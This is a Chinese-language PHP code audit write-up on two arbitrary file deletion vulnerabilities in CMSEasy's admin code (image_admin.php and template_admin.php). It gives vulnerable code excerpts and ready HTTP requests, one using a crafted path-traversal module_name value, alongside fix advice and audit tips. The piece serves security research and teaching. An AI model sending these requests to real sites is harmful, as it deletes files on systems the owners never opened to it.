PHP代码审计——cmseasy漏洞斩获CVE+2
字数 1341 2025-08-23 18:31:34
PHP代码审计实战:CMSEasy漏洞分析与利用(CVE斩获)
1. 漏洞背景
CMSEasy是一款基于PHP开发的内容管理系统。在审计过程中发现两处任意文件删除漏洞,成功获得CVE编号。本文将详细分析这两处漏洞的原理、发现过程和利用方法。
2. 环境准备与初步分析
2.1 源码获取
- 从官方网站下载CMSEasy源代码
- 分析目录结构发现:
lib/admin目录下的文件命名有特殊规律
2.2 URL路由分析
xxxx_admin.php对应后台case参数的请求- 类中的
xxxx_action方法对应后台act参数的请求 - 例如:
image_admin.php中的deleteimg_action方法可通过case=image&act=deleteimg访问
3. 第一处任意文件删除漏洞分析
3.1 漏洞位置
文件:image_admin.php中的deleteimg_action方法
3.2 关键代码分析
// 存在unlink危险函数
$dir = front::get('dir');
$imgname = front::get('imgname');
// $imgname有过滤,不能使用../进行目录遍历
// 但$dir没有过滤
unlink($dir.'/'.$imgname);
3.3 参数可控性验证
front::get()方法实际上是获取$_GET参数dir参数完全可控且无过滤
3.4 漏洞利用
构造请求删除cn/1.php文件:
GET /index.php?case=image&act=deleteimg&admin_dir=admin&html_prefix=../&dir=cn&imgname=1.php HTTP/1.1
Host: 127.0.0.1
[...其他HTTP头...]
4. 第二处任意文件删除漏洞分析
4.1 漏洞位置
文件:template_admin.php中的editcategorytemplate_action方法
4.2 关键代码分析
$module_name = front::$post['module_name'];
// 存在unlink危险函数
unlink($file_path);
4.3 参数可控性验证
front::$post实际上是$_POSTmodule_name参数可控但有一定格式要求
4.4 参数格式限制
module_name需要符合{tag_xxx_xxx_xxx}格式- 格式解析后:
$str[4]作为$module_id的值- 其他部分作为
$module_type和$module_name
4.5 漏洞利用技巧
- 构造特殊格式的
module_name实现目录穿越:{tag_buymodules_category_s_1_/../../../../2}
4.6 漏洞利用
构造POST请求删除上级目录文件:
POST /index.php?case=template&act=editcategorytemplate&admin_dir=admin HTTP/1.1
Host: 127.0.0.1
[...其他HTTP头...]
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
id=1&module_name=213&module_name=%7Btag_buymodules_category_s_1_%2F..%2F..%2F..%2F..%2F2%7D
5. 漏洞修复建议
5.1 第一处漏洞修复
- 对
dir参数进行严格过滤 - 限制只能删除特定目录下的文件
- 添加文件路径校验
5.2 第二处漏洞修复
- 对
module_name参数进行更严格的格式校验 - 禁止路径穿越字符
- 限制文件操作范围
6. 代码审计技巧总结
- 危险函数定位:重点关注
unlink、file_put_contents等文件操作函数 - 参数传递追踪:跟踪
$_GET、$_POST等输入参数的传递过程 - 过滤机制检查:验证所有输入参数是否有适当的过滤
- 目录穿越测试:尝试使用
../等字符测试目录穿越可能性 - 特殊格式绕过:注意参数格式限制,寻找可能的绕过方式
7. 扩展思考
- 如何自动化检测此类漏洞?
- 除了文件删除,是否可能存在文件写入漏洞?
- 如何设计更安全的文件操作机制?
- 其他CMS系统中是否存在类似的漏洞模式?
通过本次审计实战,我们不仅发现了两个高危漏洞,更重要的是掌握了PHP代码审计的基本方法和思路,这些经验可以应用于其他系统的安全审计工作中。